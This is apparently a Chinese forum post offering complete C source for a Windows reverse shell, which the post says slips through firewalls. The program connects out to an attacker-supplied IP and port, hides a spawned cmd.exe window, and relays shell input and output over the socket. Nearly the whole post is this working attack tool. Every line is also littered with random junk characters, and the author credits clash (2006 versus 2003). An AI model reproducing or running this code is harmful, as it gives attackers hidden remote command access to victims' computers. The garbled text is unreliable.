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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +Y|HO[  
7COJ.rA  
/* ============================== dI|`"jl#  
Rebound port in Windows NT 3+| {O  
By wind,2006/7 O4w:BWVsn  
===============================*/ \J?5K l[*c  
#include Lmw{ `R  
#include 6mbHfL>cO  
"J (.dg]"  
#pragma comment(lib,"wsock32.lib") UON W3}-  
8/* 6&#-  
void OutputShell(); M/^kita  
SOCKET sClient; a?QDf5C q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g&6O*vx  
~ E|L4E  
void main(int argc,char **argv) B)`^/^7  
{ 7Vxe]s  
WSADATA stWsaData; L?( % *  
int nRet; hV4\#K[  
SOCKADDR_IN stSaiClient,stSaiServer; .+TriPL  
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if(argc != 3) UCP4w@C  
{ pr(16P  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7,N>u8cTh  
return; @43o4,  
} d^<a)>5h  
|.zotEh  
WSAStartup(MAKEWORD(2,2),&stWsaData); `X7ns?  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \PB~ 6  
%wp#vO-$  
stSaiClient.sin_family = AF_INET; +=bGrn>h  
stSaiClient.sin_port = htons(0); t"@: a Y"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HLy}ta\  
H.ZmLB  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >r"~t70C~]  
{ G;%Pf9 o26  
printf("Bind Socket Failed!\n"); fYzOT, c  
return; g(0 |p6R  
} Sr`gQ#b@r}  
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stSaiServer.sin_family = AF_INET; M7(vI4V  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *L9s7RR  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2\z"6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q\~4J1  
{ AE)<ee%\\  
printf("Connect Error!"); .FnO  
return; dsP1Zq  
} ul e]eRAG  
OutputShell(); w\'Zcw,d  
} Yp`6305f  
Lj$yGdK<  
void OutputShell() *Bt`6u.>e,  
{ WRJ+l_81  
char szBuff[1024]; JqO#W1h~R|  
SECURITY_ATTRIBUTES stSecurityAttributes; ~7!J/LHg  
OSVERSIONINFO stOsversionInfo; +OF(CcA^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =>hq0F4[;  
STARTUPINFO stStartupInfo; -P5VE0  
char *szShell; 0C}7=_?  
PROCESS_INFORMATION stProcessInformation; daaEN(  
unsigned long lBytesRead; }B_n}<tjD  
#(jozl_8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?J+[|*'yK  
.BXZ\r`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X9nt;A2TU+  
stSecurityAttributes.lpSecurityDescriptor = 0; Fz16m7.  
stSecurityAttributes.bInheritHandle = TRUE; )@3ce'  
J! >HT'M  
-pj&|< h+9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2C %{A  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I<.3"F1}  
O!z H5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,SJB 3if  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HB\y [:E  
stStartupInfo.wShowWindow = SW_HIDE; GD|uU  
stStartupInfo.hStdInput = hReadPipe; UUv&X+ Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o:#MP(h,N  
IR>^U  
GetVersionEx(&stOsversionInfo); Wn24eld"x  
IBU(Hm1,  
switch(stOsversionInfo.dwPlatformId) :gb7Py'C  
{ Mno4z/4{A  
case 1: 3bpbk  
szShell = "command.com"; [e ;K$  
break; anA>'63  
default: PP&AF?C  
szShell = "cmd.exe"; /wI$}X5o~  
break; 5_M9T 3  
} Rs8`M8(4%  
^o|igyS9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DI**fywu[3  
_=j0Y=/IF  
send(sClient,szMsg,77,0); ]m(Uv8/6  
while(1) Ve7[U_"  
{ T\b e(@r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eqs.zL  
if(lBytesRead) }9>W41  
{ O~-#>a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q9X_aB0  
send(sClient,szBuff,lBytesRead,0); &iL"=\#  
} FbJlyWND  
else J^ryUO o}b  
{ N4}/n  
lBytesRead=recv(sClient,szBuff,1024,0); kfg9l?R$I<  
if(lBytesRead<=0) break; 5>"$95D  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~DhYiOSo  
} Gu|}ax"  
} =c M\o{ q  
tH2y:o 72  
return; A/W0O;*q  
}
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